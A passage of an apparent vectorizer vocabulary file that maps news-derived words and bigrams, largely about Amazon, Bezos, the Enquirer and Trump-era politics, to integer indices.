3599,\n  \"charred gas\": 3600,\n  \"productivity\": 3601,\n  \"research govpredict\": 3602,\n  \"atvpdkikx0der pf_rd_s\": 3603,\n  \"idiocracy\": 3604,\n  \"qualified company\": 3605,\n  \"french 415\": 3606,\n  \"volitile fox\": 3607,\n  \"amazon antagonize\": 3608,\n  \"believed wrongfully\": 3609,\n  \"greatly alarmed\": 3610,\n  \"funniest\": 3611,\n  \"stop collaborating\": 3612,\n  \"registration records\": 3613,\n  \"feeling upbeat\": 3614,\n  \"area committee\": 3615,\n  \"despite nearly\": 3616,\n  \"real risk\": 3617,\n  \"competitiveness\": 3618,\n  \"lidia\": 3619,\n  \"contact called\": 3620,\n  \"philly fed\": 3621,\n  \"tactical_charts\": 3622,\n  \"plant closed\": 3623,\n  \"core providers\": 3624,\n  \"martha mendoza\": 3625,\n  \"newspaper parent\": 3626,\n  \"flu\": 3627,\n  \"blackmail pecker\": 3628,\n  \"successful entrepreneurs\": 3629,\n  \"nightmare translated\": 3630,\n  \"tactical edge\": 3631,\n  \"trafficking\": 3632,\n  \"paramedics\": 3633,\n  \"kingdom played\": 3634,\n  \"llc analyst\": 3635,\n  \"paradoxes\": 3636,\n  \"donor team\": 3637,\n  \"large charitable\": 3638,\n  \"flourish new\": 3639,\n  \"news abc\": 3640,\n  \"unbreakable kimmy\": 3641,\n  \"capellades\": 3642,\n  \"average surged\": 3643,\n  \"assisted troops\": 3644,\n  \"practices 2012\": 3645,\n  \"797b\": 3646,\n  \"clinton hillicon\": 3647,\n  \"member nike\": 3648,\n  \"disbursement\": 3649,\n  \"city region\": 3650,\n  \"photo likeness\": 3651,\n  \"holidays amazon\": 3652,\n  \"cronyism crimes\": 3653,\n  \"issue involved\": 3654,\n  \"stracher\": 3655,\n  \"pronounced\": 3656,\n  \"trump happy\": 3657,\n  \"displays\": 3658,\n  \"convicted cbs\": 3659,\n  \"t000002537 t000181710\": 3660,\n  \"tech circles\": 3661,\n  \"addiction policy\": 3662,\n  \"longtime amazon\": 3663,\n  \"exchange strategist\": 3664,\n  \"lightning fast\": 3665,\n  \"critiqued story\": 3666,\n  \"contractor description\": 3667,\n  \"new possibilities\": 3668,\n  \"carrying amazon\": 3669,\n  \"coalition redlining\": 3670,\n  \"switches ibm\": 3671,\n  \"sent 410\": 3672,\n  \"recent praise\": 3673,\n  \"otyf saudi\": 3674,\n  \"colleagues sent\": 3675,\n  \"quick share\": 3676,\n  \"woolfolk reported\": 3677,\n  \"slight chance\": 3678,\n  \"hurry worth\": 3679,\n  \"specific drug\": 3680,\n  \"estimate analysts\": 3681,\n  \"callout\": 3682,\n  \"cypress\": 3683,\n  \"stops short\": 3684,\n  \"term benefits\": 3685,\n  \"pairs\": 3686,\n  \"satya saves\": 3687,\n  \"powerful midcareer\": 3688,\n  \"sell products\": 3689,\n  \"enquirer helped\": 3690,\n  \"cardoso\": 3691,\n  \"tie soiree\": 3692,\n  \"solidly constructed\": 3693,\n  \"featured high\": 3694,\n  \"human protein\": 3695,\n  \"midler broadway\": 3696,\n  \"accounts experts\": 3697,\n  \"included grocery\": 3698,\n  \"keeps getting\": 3699,\n  \"letters containing\": 3700,\n  \"subsidiary activities\": 3701,\n  \"homes danielle\": 3702,\n  \"amazon opened\": 3703,\n  \"b1 push\": 3704,\n  \"expert susan\": 3705,\n  \"issued short\": 3706,\n  \"times story\": 3707,\n  \"astounding milestone\": 3708,\n  \"column michael\": 3709,\n  \"pushing brennan\": 3710,\n  \"city business\": 3711,\n  \"difficult piece\": 3712,\n  \"want world\": 3713,\n  \"group seized\": 3714,\n  \"fashion based\": 3715,\n  \"jubeir\": 3716,\n  \"chris mccabe\": 3717,\n  \"injured\": 3718,\n  \"data firm\": 3719,\n  \"numerous civil\": 3720,\n  \"plugable digital\": 3721,\n  \"dumping parole\": 3722,\n  \"grade read\": 3723,\n  \"indianapolis congress\": 3724,\n  \"senator zellnor\": 3725,\n  \"statement standing\": 3726,\n  \"crisis earlier\": 3727,\n  \"sleek\": 3728,\n  \"alongside cook\": 3729,\n  \"trump cognitive\": 3730,\n  \"sluggish bull\": 3731,\n  \"endeavors\": 3732,\n  \"amazon reported\": 3733,\n  \"hampshire dc\": 3734,\n  \"globaldata managing\": 3735,\n  \"sensitive public\": 3736,\n  \"royally deserve\": 3737,\n  \"belt\": 3738,\n  \"actually trading\": 3739,\n  \"gas exports\": 3740,\n  \"warner unit\": 3741,\n  \"captures particular\": 3742,\n  \"publish information\": 3743,\n  \"company arrangement\": 3744,\n  \"mccaskill says\": 3745,\n  \"white list\": 3746,\n  \"northwestern\": 3747,\n  \"breakeven analysis\": 3748,\n  \"talks 2018\": 3749,\n  \"force gripping\": 3750,\n  \"motivated attack\": 3751,\n  \"anticipated increase\": 3752,\n  \"alexa long\": 3753,\n  \"seller using\": 3754,\n  \"arabia 450\": 3755,\n  \"inflame partisan\": 3756,\n  \"powerful agriculture\": 3757,\n  \"defeats bona\": 3758,\n  \"narrator\": 3759,\n  \"cola set\": 3760,\n  \"145 343\": 3761,\n  \"investments big\": 3762,\n  \"impose higher\": 3763,\n  \"big pharma\": 3764,\n  \"gizmodo wrote\": 3765,\n  \"hardball joined\": 3766,\n  \"asian nations\": 3767,\n  \"demonise\": 3768,\n  \"fury charred\": 3769,\n  \"water bottles\": 3770,\n  \"hd black\": 3771,\n  \"lobbying providers\": 3772,\n  \"d5ttj5cspw\": 3773,\n  \"diverse thriving\": 3774,\n  \"father transferred\": 3775,\n  \"kalorama\": 3776,\n  \"vans amazon\": 3777,\n  \"similarly critical\": 3778,\n  \"today renounce\": 3779,\n  \"face complete\": 3780,\n  \"disappoint altria\": 3781,\n  \"pick single\": 3782,\n  \"steal custom\": 3783,\n  \"profitable surveillance\": 3784,\n  \"everybody circumstances\": 3785,\n  \"research shop\": 3786,\n  \"recently purchased\": 3787,\n  \"katie pavlich\": 3788,\n  \"jr robert\": 3789,\n  \"ongoing matters\": 3790,\n  \"fleischer thinks\": 3791,\n  \"offering britain\": 3792,\n  \"nacs shoppers\": 3793,\n  \"personal crisis\": 3794,\n  \"liabilities verizon\": 3795,\n  \"encourage dialogue\": 3796,\n  \"concerns focused\": 3797,\n  \"christina hendricks\": 3798,\n  \"bezos personal\": 3799,\n  \"junqueira says\": 3800,\n  \"hadn happened\": 3801,\n  \"customer arpu\": 3802,\n  \"confront violent\": 3803,\n  \"say cloud\": 3804,\n  \"innocenzio\": 3805,\n  \"lincoln natl\": 3806,\n  \"wrote evan\": 3807,\n  \"helping lead\": 3808,\n  \"little online\": 3809,\n  \"overseas infrastructure\": 3810,\n  \"abusing\": 3811,\n  \"event rubenstein\": 3812,\n  \"vendor don\": 3813,\n  \"ceos expected\": 3814,\n  \"internal investment\": 3815,\n  \"apple pulled\": 3816,\n  \"particularly dark\": 3817,\n  \"make payments\": 3818,\n  \"gun code\": 3819,\n  \"2014 election\": 3820,\n  \"matt mackowiak\": 3821,\n  \"cow pasture\": 3822,\n  \"analyst reports\": 3823,\n  \"chased deposits\": 3824,\n  \"want los\": 3825,\n  \"available capacity\": 3826,\n  \"trump blue\": 3827,\n  \"gm ford\": 3828,\n  \"v1 s5\": 3829,\n  \"technology entertainment\": 3830,\n  \"assessment jefferies\": 3831,\n  \"seen bromance\": 3832,\n  \"anybody want\": 3833,\n  \"fixture\": 3834,\n  \"copyright reform\": 3835,\n  \"jon kopaloff\": 3836,\n  \"live long\": 3837,\n  \"new employer\": 3838,\n  \"build careers\": 3839,\n  \"industry consolidation\": 3840,\n  \"risk ensure\": 3841,\n  \"houston schools\": 3842,\n  \"services divisions\": 3843,\n  \"seattle jonathan\": 3844,\n  \"muscle fitness\": 3845,\n  \"aslam\": 3846,\n  \"caused significant\": 3847,\n  \"kimmelman president\": 3848,\n  \"men chest\": 3849,\n  \"attracting just\": 3850,\n  \"deliveries going\": 3851,\n  \"accelerator creates\": 3852,\n  \"lethal injection\": 3853,\n  \"aeberman12 status\": 3854,\n  \"overlook given\": 3855,\n  \"amazon acquires\": 3856,\n  \"private labels\": 3857,\n  \"research told\": 3858,\n  \"running lot\": 3859,\n  \"bezos laughs\": 3860,\n  \"help sellers\": 3861,\n  \"recommended suing\": 3862,\n  \"year ev\": 3863,\n  \"allowing american\": 3864,\n  \"backed trump\": 3865,\n  \"incomplete\": 3866,\n  \"video steve\": 3867,\n  \"procedural break\": 3868,\n  \"tech industry\": 3869,\n  \"advisor peter\": 3870,\n  \"past losses\": 3871,\n  \"juul labs\": 3872,\n  \"islamic republic\": 3873,\n  \"operate using\": 3874,\n  \"predator\": 3875,\n  \"support communities\": 3876,\n  \"sgt brigitte\": 3877,\n  \"gold timer\": 3878,\n  \"echo yea\": 3879,\n  \"proposes price\": 3880,\n  \"internet history\": 3881,\n  \"enhancing drugs\": 3882,\n  \"couple divorce\": 3883,\n  \"enquirer tracked\": 3884,\n  \"writes author\": 3885,\n  \"minnesota establishment\": 3886,\n  \"house dems\": 3887,\n  \"year accusing\": 3888,\n  \"reassesses\": 3889,\n  \"ap british\": 3890,\n  \"county traditionally\": 3891,\n  \"possibly challenging\": 3892,\n  \"jailing leaders\": 3893,\n  \"kroger nyse\": 3894,\n  \"investigative reporters\": 3895,\n  \"showing drone\": 3896,\n  \"melissa clark\": 3897,\n  \"problems ordinary\": 3898,\n  \"tax hawks\": 3899,\n  \"lakesha\": 3900,\n  \"chip companies\": 3901,\n  \"bloomberg americans\": 3902,\n  \"post openly\": 3903,\n  \"just local\": 3904,\n  \"corp middleton\": 3905,\n  \"agency headquarters\": 3906,\n  \"denies bezos\": 3907,\n  \"deliveries meaning\": 3908,\n  \"pecker links\": 3909,\n  \"administration cnbc\": 3910,\n  \"infantilizing\": 3911,\n  \"magazine subscribe\": 3912,\n  \"news day\": 3913,\n  \"flat net\": 3914,\n  \"cozi family\": 3915,\n  \"elkan\": 3916,\n  \"bob mccarthy\": 3917,\n  \"published lengthy\": 3918,\n  \"closings schools\": 3919,\n  \"taoiseach prime\": 3920,\n  \"media holding\": 3921,\n  \"city host\": 3922,\n  \"divisions lose\": 3923,\n  \"copyright 2018\": 3924,\n  \"utilized\": 3925,\n  \"tell advertisers\": 3926,\n  \"money price\": 3927,\n  \"public official\": 3928,\n  \"order facebook\": 3929,\n  \"paulorwell1 facebook\": 3930,\n  \"beauty jeff\": 3931,\n  \"god visited\": 3932,\n  \"abc phonics\": 3933,\n  \"fist 2018\": 3934,\n  \"schiff house\": 3935,\n  \"burning baby\": 3936,\n  \"nrc\": 3937,\n  \"billionaires\": 3938,\n  \"hebrew\": 3939,\n  \"followed heated\": 3940,\n  \"pursuing growth\": 3941,\n  \"cast christina\": 3942,\n  \"voice jay\": 3943,\n  \"york pittsburgh\": 3944,\n  \"spells komorebi\": 3945,\n  \"single note\": 3946,\n  \"ranveer\": 3947,\n  \"spanglish\": 3948,\n  \"economic playing\": 3949,\n  \"sanders called\": 3950,\n  \"monumental growth\": 3951,\n  \"authors guild\": 3952,\n  \"averse\": 3953,\n  \"hetmyer unbeaten\": 3954,\n  \"ap analysis\": 3955,\n  \"nonprofit public\": 3956,\n  \"espouse\": 3957,\n  \"purposes cramer\": 3958,\n  \"n924661\": 3959,\n  \"team conspiracy\": 3960,\n  \"utility wins\": 3961,\n  \"pay terminate\": 3962,\n  \"gm told\": 3963,\n  \"american scandal\": 3964,\n  \"rep lou\": 3965,\n  \"khan previously\": 3966,\n  \"path collapses\": 3967,\n  \"tim leslie\": 3968,\n  \"presidents sit\": 3969,\n  \"robert deutsch\": 3970,\n  \"overcome late\": 3971,\n  \"tao\": 3972,\n  \"personal biography\": 3973,\n  \"providing major\": 3974,\n  \"amazon sold\": 3975,\n  \"boeing considered\": 3976,\n  \"valor\": 3977,\n  \"earnings results\": 3978,\n  \"treatment ig\": 3979,\n  \"computing company\": 3980,\n  \"practice medicine\": 3981,\n  \"abusers survivors\": 3982,\n  \"bank fraud\": 3983,\n  \"fence\": 3984,\n  \"team wants\": 3985,\n  \"moratorium\": 3986,\n  \"debate amazon\": 3987,\n  \"sleeps outside\": 3988,\n  \"lucrative drug\": 3989,\n  \"distance\": 3990,\n  \"includes incidents\": 3991,\n  \"similar relationships\": 3992,\n  \"house asking\": 3993,\n  \"really exploded\": 3994,\n  \"currently reading\": 3995,\n  \"maura judkis\": 3996,\n  \"inexcusable\": 3997,\n  \"caller thank\": 3998,\n  \"votetuesday\": 3999,\n  \"tenn called\": 4000,\n  \"suburb potentially\": 4001,\n  \"convince jeff\": 4002,\n  \"stick echo\": 4003,\n  \"revolutionize\": 4004,\n  \"create multiple\": 4005,\n  \"enquirer explicit\": 4006,\n  \"chaos weather\": 4007,\n  \"white person\": 4008,\n  \"amazon role\": 4009,\n  \"compensation incentives\": 4010,\n  \"flywheel\": 4011,\n  \"senior communications\": 4012,\n  \"putin hiding\": 4013,\n  \"sanders renewed\": 4014,\n  \"join\": 4015,\n  \"man quest\": 4016,\n  \"make nice\": 4017,\n  \"highway safety\": 4018,\n  \"sanders 179\": 4019,\n  \"trump main\": 4020,\n  \"bad economics\": 4021,\n  \"procurement law\": 4022,\n  \"racially biased\": 4023,\n  \"nvidia brand\": 4024,\n  \"seldom mentions\": 4025,\n  \"amazon total\": 4026,\n  \"pay scale\": 4027,\n  \"firms discovered\": 4028,\n  \"wilson\": 4029,\n  \"quite possibly\": 4030,\n  \"calvin\": 4031,\n  \"nonprofit protect\": 4032,\n  \"week example\": 4033,\n  \"screw delivery\": 4034,\n  \"amazon pledge\": 4035,\n  \"new approximately\": 4036,\n  \"force pils\": 4037,\n  \"flows raised\": 4038,\n  \"despite public\": 4039,\n  \"fit men\": 4040,\n  \"local destruction\": 4041,\n  \"forthcoming dear\": 4042,\n  \"spend months\": 4043,\n  \"cook twisted\": 4044,\n  \"ran story\": 4045,\n  \"look nbc\": 4046,\n  \"don pose\": 4047,\n  \"book beginning\": 4048,\n  \"dheeraj jain\": 4049,\n  \"threats ex\": 4050,\n  \"communications commission\": 4051,\n  \"impose\": 4052,\n  \"effect jan\": 4053,\n  \"arguments transcripts\": 4054,\n  \"upset nyt\": 4055,\n  \"villa\": 4056,\n  \"helped slow\": 4057,\n  \"origin unveiled\": 4058,\n  \"time mattis\": 4059,\n  \"offered lot\": 4060,\n  \"deliver packages\": 4061,\n  \"adulatory reviews\": 4062,\n  \"complexities\": 4063,\n  \"despite little\": 4064,\n  \"competition filing\": 4065,\n  \"dodgers\": 4066,\n  \"quashing reports\": 4067,\n  \"sordid web\": 4068,\n  \"best late\": 4069,\n  \"declaring state\": 4070,\n  \"pastor joel\": 4071,\n  \"tweets early\": 4072,\n  \"instance governments\": 4073,\n  \"obama facist\": 4074,\n  \"realize exactly\": 4075,\n  \"stance chimes\": 4076,\n  \"adds amazon\": 4077,\n  \"spreading\": 4078,\n  \"tougher immigration\": 4079,\n  \"trump maintains\": 4080,\n  \"latest fashion\": 4081,\n  \"defend\": 4082,\n  \"joe ianniello\": 4083,\n  \"pledges billion\": 4084,\n  \"barr held\": 4085,\n  \"deeper\": 4086,\n  \"doesn think\": 4087,\n  \"katyal\": 4088,\n  \"observers\": 4089,\n  \"having cities\": 4090,\n  \"hour performing\": 4091,\n  \"survivability\": 4092,\n  \"defended trump\": 4093,\n  \"palestine\": 4094,\n  \"prior days\": 4095,\n  \"governor republican\": 4096,\n  \"oil spill\": 4097,\n  \"catch tv\": 4098,\n  \"peach logo\": 4099,\n  \"mosques\": 4100,\n  \"wants public\": 4101,\n  \"entrenched law\": 4102,\n  \"analyst expectations\": 4103,\n  \"america alleged\": 4104,\n  \"sex daily\": 4105,\n  \"herera unitedhealthcare\": 4106,\n  \"artificial ingredients\": 4107,\n  \"seller market\": 4108,\n  \"connection sanchez\": 4109,\n  \"antitrust altogether\": 4110,\n  \"amazon proud\": 4111,\n  \"carell donned\": 4112,\n  \"weather forecasts\": 4113,\n  \"useful cudgel\": 4114,\n  \"digressing\": 4115,\n  \"playing america\": 4116,\n  \"wouldn admit\": 4117,\n  \"date outpacing\": 4118,\n  \"judge granted\": 4119,\n  \"launching secret\": 4120,\n  \"separate entity\": 4121,\n  \"friendly separation\": 4122,\n  \"common enemy\": 4123,\n  \"slams trump\": 4124,\n  \"article bodyguard\": 4125,\n  \"amazon responds\": 4126,\n  \"whichis basically\": 4127,\n  \"mijente\": 4128,\n  \"shick\": 4129,\n  \"bigger amazon\": 4130,\n  \"mms messages\": 4131,\n  \"sptxzsegp5\": 4132,\n  \"emergency reactions\": 4133,\n  \"online bookstore\": 4134,\n  \"news segment\": 4135,\n  \"cairo recruited\": 4136,\n  \"fade\": 4137,\n  \"dangerous power\": 4138,\n  \"prison industry\": 4139,\n  \"h6 application\": 4140,\n  \"overconfidence cost\": 4141,\n  \"fund shaw\": 4142,\n  \"machine washington\": 4143,\n  \"alicandro better\": 4144,\n  \"premium site\": 4145,\n  \"trump returned\": 4146,\n  \"rolled\": 4147,\n  \"massive cloud\": 4148,\n  \"fixing problems\": 4149,\n  \"demanding ceo\": 4150,\n  \"morning 4_5\": 4151,\n  \"little piano\": 4152,\n  \"court allows\": 4153,\n  \"trump takes\": 4154,\n  \"toxic chemotherapy\": 4155,\n  \"company american\": 4156,\n  \"rock maybe\": 4157,\n  \"turn tech\": 4158,\n  \"onize\": 4159,\n  \"unique visitors\": 4160,\n  \"baby parts\": 4161,\n  \"grocery retailer\": 4162,\n  \"grandmother\": 4163,\n  \"stated post\": 4164,\n  \"activity lost\": 4165,\n  \"jacob passy\": 4166,\n  \"month approved\": 4167,\n  \"rated\": 4168,\n  \"stupefying outcome\": 4169,\n  \"star emma\": 4170,\n  \"comment lauren\": 4171,\n  \"trump attempting\": 4172,\n  \"alex sanna\": 4173,\n  \"monica ulmanu\": 4174,\n  \"canceling government\": 4175,\n  \"manohla dargis\": 4176,\n  \"facebook destined\": 4177,\n  \"block association\": 4178,\n  \"save lives\": 4179,\n  \"track registry\": 4180,\n  \"reuters amazon\": 4181,\n  \"newspaper warned\": 4182,\n  \"behavior heres\": 4183,\n  \"noun\": 4184,\n  \"ive\": 4185,\n  \"stupid east\": 4186,\n  \"sankaran\": 4187,\n  \"entertainment assets\": 4188,\n  \"hours katera\": 4189,\n  \"usps make\": 4190,\n  \"decade old\": 4191,\n  \"profile investigation\": 4192,\n  \"stephen law\": 4193,\n  \"barely sign\": 4194,\n  \"skinned trump\": 4195,\n  \"rep keith\": 4196,\n  \"nominated state\": 4197,\n  \"makes lots\": 4198,\n  \"laugh\": 4199,\n  \"smarmed\": 4200,\n  \"241\": 4201,\n  \"products eligible\": 4202,\n  \"unexceptional\": 4203,\n  \"provides ton\": 4204,\n  \"centers operate\": 4205,\n  \"silence source\": 4206,\n  \"reforms recommended\": 4207,\n  \"berg acquired\": 4208,\n  \"trump compares\": 4209,\n  \"run delivery\": 4210,\n  \"overnight think\": 4211,\n  \"swift denial\": 4212,\n  \"guzman\": 4213,\n  \"average number\": 4214,\n  \"technology brian\": 4215,\n  \"hire teachers\": 4216,\n  \"hughes identity\": 4217,\n  \"kennedy immediately\": 4218,\n  \"146e3922310f\": 4219,\n  \"peak size\": 4220,\n  \"romano\": 4221,\n  \"bleeding red\": 4222,\n  \"blackrock investor\": 4223,\n  \"salon\": 4224,\n  \"hotel\": 4225,\n  \"explicit photos\": 4226,\n  \"environmental assembly\": 4227,\n  \"1941 japanese\": 4228,\n  \"rethinking\": 4229,\n  \"firm cooperated\": 4230,\n  \"directly attributable\": 4231,\n  \"toys\": 4232,\n  \"provides fast\": 4233,\n  \"child ea\": 4234,\n  \"lauer\": 4235,\n  \"alleen op\": 4236,\n  \"pulls\": 4237,\n  \"problem isn\": 4238,\n  \"soulmates\": 4239,\n  \"mnuchin spent\": 4240,\n  \"ziploc gcdn\": 4241,\n  \"mega\": 4242,\n  \"discredit bezos\": 4243,\n  \"groups products\": 4244,\n  \"wasn involved\": 4245,\n  \"satan guide\": 4246,\n  \"aluminum exports\": 4247,\n  \"engaged investigators\": 4248,\n  \"total book\": 4249,\n  \"school computer\": 4250,\n  \"overall aims\": 4251,\n  \"shift product\": 4252,\n  \"judge memoir\": 4253,\n  \"affair calling\": 4254,\n  \"ethically bankrupt\": 4255,\n  \"growing trade\": 4256,\n  \"surrounding ceo\": 4257,\n  \"admits bold\": 4258,\n  \"enforcers intently\": 4259,\n  \"bolsonaro new\": 4260,\n  \"conference started\": 4261,\n  \"letter did\": 4262,\n  \"reported 104\": 4263,\n  \"started shipping\": 4264,\n  \"income disparity\": 4265,\n  \"piety\": 4266,\n  \"inflation remains\": 4267,\n  \"u1 a4ee\": 4268,\n  \"harmful gas\": 4269,\n  \"deliveryservice called\": 4270,\n  \"store compared\": 4271,\n  \"pleasure\": 4272,\n  \"new instant\": 4273,\n  \"glutamate\": 4274,\n  \"chosen\": 4275,\n  \"audiences don\": 4276,\n  \"supporters outraged\": 4277,\n  \"survey saying\": 4278,\n  \"contract dilutes\": 4279,\n  \"tal axelrod\": 4280,\n  \"required private\": 4281,\n  \"v0\": 4282,\n  \"congressman gregory\": 4283,\n  \"latest micro\": 4284,\n  \"average faded\": 4285,\n  \"sending shares\": 4286,\n  \"nasdaq\": 4287,\n  \"equipping\": 4288,\n  \"website titled\": 4289,\n  \"executive tim\": 4290,\n  \"1509et\": 4291,\n  \"2fwww marketwatch\": 4292,\n  \"joint development\": 4293,\n  \"colo story\": 4294,\n  \"unexpected ally\": 4295,\n  \"trumpian\": 4296,\n  \"buy conservative\": 4297,\n  \"crash north\": 4298,\n  \"family rental\": 4299,\n  \"toca\": 4300,\n  \"entirely accurate\": 4301,\n  \"clearly catering\": 4302,\n  \"unions protesting\": 4303,\n  \"h8 m8i\": 4304,\n  \"003 shares\": 4305,\n  \"jump clear\": 4306,\n  \"abcpolitics\": 4307,\n  \"previous presidencies\": 4308,\n  \"spotlight include\": 4309,\n  \"hatted men\": 4310,\n  \"overlooked resulting\": 4311,\n  \"josh bowen\": 4312,\n  \"post executive\": 4313,\n  \"inspiring creation\": 4314,\n  \"black lawmakers\": 4315,\n  \"administration erred\": 4316,\n  \"great option\": 4317,\n  \"standoff trump\": 4318,\n  \"dating expanding\": 4319,\n  \"walgreens says\": 4320,\n  \"trend crimes\": 4321,\n  \"instead expand\": 4322,\n  \"audio review\": 4323,\n  \"sidestepping\": 4324,\n  \"nyse acn\": 4325,\n  \"clever amazon\": 4326,\n  \"world gas\": 4327,\n  \"employees review\": 4328,\n  \"bowie fan\": 4329,\n  \"shipping related\": 4330,\n  \"speaking amazon\": 4331,\n  \"hiatus\": 4332,\n  \"pitching\": 4333,\n  \"topics included\": 4334,\n  \"investor newsletter\": 4335,\n  \"carolina man\": 4336,\n  \"gotten public\": 4337,\n  \"trump wasn\": 4338,\n  \"dicey environment\": 4339,\n  \"messi backing\": 4340,\n  \"h4jm87qkvj guardian\": 4341,\n  \"proposed reining\": 4342,\n  \"jianjiao\": 4343,\n  \"ted deutch\": 4344,\n  \"sears holding\": 4345,\n  \"straits\": 4346,\n  \"playing novelist\": 4347,\n  \"shows slideshow\": 4348,\n  \"times trump\": 4349,\n  \"house historic\": 4350,\n  \"usps fair\": 4351,\n  \"new channel\": 4352,\n  \"slam mcconnell\": 4353,\n  \"safe sex\": 4354,\n  \"6x 5x\": 4355,\n  \"stop housing\": 4356,\n  \"favourite cardboard\": 4357,\n  \"partnership stamps\": 4358,\n  \"conversion affair\": 4359,\n  \"article revolves\": 4360,\n  \"satisfied\": 4361,\n  \"hardly illegal\": 4362,\n  \"youtube googleplay\": 4363,\n  \"cromwell revolutionary\": 4364,\n  \"medium roast\": 4365,\n  \"action reuters\": 4366,\n  \"cases classified\": 4367,\n  \"dissipate\": 4368,\n  \"cities giving\": 4369,\n  \"results unfortunately\": 4370,\n  \"successful new\": 4371,\n  \"infringing goods\": 4372,\n  \"mushroomed\": 4373,\n  \"paper claims\": 4374,\n  \"actor peter\": 4375,\n  \"known associates\": 4376,\n  \"rival known\": 4377,\n  \"close look\": 4378,\n  \"indigenous leaders\": 4379,\n  \"trump secretly\": 4380,\n  \"fresh nervousness\": 4381,\n  \"headlines pose\": 4382,\n  \"masked men\": 4383,\n  \"commissioned commemorative\": 4384,\n  \"selfies lauren\": 4385,\n  \"apoplexy\": 4386,\n  \"preet bharara\": 4387,\n  \"sounded\": 4388,\n  \"retail fighting\": 4389,\n  \"reading long\": 4390,\n  \"2224 provides\": 4391,\n  \"outsized impact\": 4392,\n  \"becker spreads\": 4393,\n  \"shopping records\": 4394,\n  \"supernatural presence\": 4395,\n  \"300k amazon\": 4396,\n  \"usual ap\": 4397,\n  \"playbookers spotted\": 4398,\n  \"advertising turnover\": 4399,\n  \"belittle following\": 4400,\n  \"climate legislation\": 4401,\n  \"low approval\": 4402,\n  \"life memoir\": 4403,\n  \"ongoing trade\": 4404,\n  \"google trump\": 4405,\n  \"kidnapper\": 4406,\n  \"bezos believes\": 4407,\n  \"300000\": 4408,\n  \"735 2018\": 4409,\n  \"best available\": 4410,\n  \"michel gondry\": 4411,\n  \"chaos texas\": 4412,\n  \"people naturally\": 4413,\n  \"park overlooked\": 4414,\n  \"korea moment\": 4415,\n  \"month charging\": 4416,\n  \"include india\": 4417,\n  \"retail website\": 4418,\n  \"abroad understanding\": 4419,\n  \"newspaper calling\": 4420,\n  \"thwarting competitors\": 4421,\n  \"drowns\": 4422,\n  \"solihull\": 4423,\n  \"stamps nearly\": 4424,\n  \"simpler\": 4425,\n  \"entirely\": 4426,\n  \"amazon want\": 4427,\n  \"hatch office\": 4428,\n  \"portfolio 393\": 4429,\n  \"inside america\": 4430,\n  \"china nutrition\": 4431,\n  \"store sales\": 4432,\n  \"inferential\": 4433,\n  \"sugar return\": 4434,\n  \"just internal\": 4435,\n  \"antitrust inquiries\": 4436,\n  \"story read\": 4437,\n  \"criticizing coverage\": 4438,\n  \"service existing\": 4439,\n  \"approved early\": 4440,\n  \"past trump\": 4441,\n  \"service privatization\": 4442,\n  \"post headquarters\": 4443,\n  \"greatest vendor\": 4444,\n  \"explode\": 4445,\n  \"suuuuper smoky\": 4446,\n  \"bartiromo happy\": 4447,\n  \"openly admits\": 4448,\n  \"run huge\": 4449,\n  \"short track\": 4450,\n  \"reasonably support\": 4451,\n  \"tailing giant\": 4452,\n  \"nearly shortly\": 4453,\n  \"unreasonable requirement\": 4454,\n  \"1911\": 4455,\n  \"pensacola fla\": 4456,\n  \"van hollen\": 4457,\n  \"status 1041868256464654336\": 4458,\n  \"pictured amazon\": 4459,\n  \"survive trump\": 4460,\n  \"attack chipotle\": 4461,\n  \"record according\": 4462,\n  \"fellow followers\": 4463,\n  \"intelligent person\": 4464,\n  \"economy holds\": 4465,\n  \"terms sheryl\": 4466,\n  \"cycle surrounding\": 4467,\n  \"reputational high\": 4468,\n  \"punishing tariffs\": 4469,\n  \"foreign balances\": 4470,\n  \"city arboretum\": 4471,\n  \"renuka\": 4472,\n  \"fiscal hole\": 4473,\n  \"china ordinarily\": 4474,\n  \"closest\": 4475,\n  \"cooperative working\": 4476,\n  \"fish angie\": 4477,\n  \"enquirer executive\": 4478,\n  \"treasury departments\": 4479,\n  \"premium\": 4480,\n  \"scott list\": 4481,\n  \"williston slippery\": 4482,\n  \"sent 1075\": 4483,\n  \"warned trump\": 4484,\n  \"descriptionplaintext experiential\": 4485,\n  \"hurling attacks\": 4486,\n  \"new books\": 4487,\n  \"atsocialmedia satchatuk\": 4488,\n  \"tests limits\": 4489,\n  \"bunker believing\": 4490,\n  \"downplayed talk\": 4491,\n  \"irreverent cynical\": 4492,\n  \"injury dem\": 4493,\n  \"talent agencies\": 4494,\n  \"information displayed\": 4495,\n  \"inordinately\": 4496,\n  \"hq viral\": 4497,\n  \"nutrition\": 4498,\n  \"paris agreement\": 4499,\n  \"insists herders\": 4500,\n  \"parcel journey\": 4501,\n  \"achieving gender\": 4502,\n  \"o8 r4ee\": 4503,\n  \"software flaws\": 4504,\n  \"stop\": 4505,\n  \"volume fell\": 4506,\n  \"sept bloomberg\": 4507,\n  \"iran michaelcohen\": 4508,\n  \"training management\": 4509,\n  \"romantically\": 4510,\n  \"york ainsley\": 4511,\n  \"british mps\": 4512,\n  \"load 2018\": 4513,\n  \"report buzzfeed\": 4514,\n  \"code allows\": 4515,\n  \"malcolm nance\": 4516,\n  \"arguments trump\": 4517,\n  \"user manual\": 4518,\n  \"tutored\": 4519,\n  \"miamibookfair\": 4520,\n  \"mztxyl0jaf\": 4521,\n  \"amos snead\": 4522,\n  \"weeks including\": 4523,\n  \"inc_custom_footer null\": 4524,\n  \"story cnbcs\": 4525,\n  \"rep admits\": 4526,\n  \"hasn launched\": 4527,\n  \"satirist paul\": 4528,\n  \"amid reeling\": 4529,\n  \"retail videocmsurl\": 4530,\n  \"desert\": 4531,\n  \"problem getting\": 4532,\n  \"gmt anwar\": 4533,\n  \"new mini\": 4534,\n  \"daily white\": 4535,\n  \"870 million\": 4536,\n  \"noteworthy\": 4537,\n  \"showindex whatsappshareelement\": 4538,\n  \"store robbers\": 4539,\n  \"447\": 4540,\n  \"union construction\": 4541,\n  \"objective sense\": 4542,\n  \"prices 1230x1672\": 4543,\n  \"fuelled giants\": 4544,\n  \"discounted merchandize\": 4545,\n  \"effectively killed\": 4546,\n  \"solihull mental\": 4547,\n  \"rationalize\": 4548,\n  \"dumping goods\": 4549,\n  \"sarah shauna\": 4550,\n  \"utx famously\": 4551,\n  \"bezos extramarital\": 4552,\n  \"bodycam\": 4553,\n  \"sovereign\": 4554,\n  \"collected info\": 4555,\n  \"reinstate employee\": 4556,\n  \"vehicle imports\": 4557,\n  \"region starting\": 4558,\n  \"450 partnerships\": 4559,\n  \"var configobj\": 4560,\n  \"way miranda\": 4561,\n  \"customers allowing\": 4562,\n  \"mayjeong\": 4563,\n  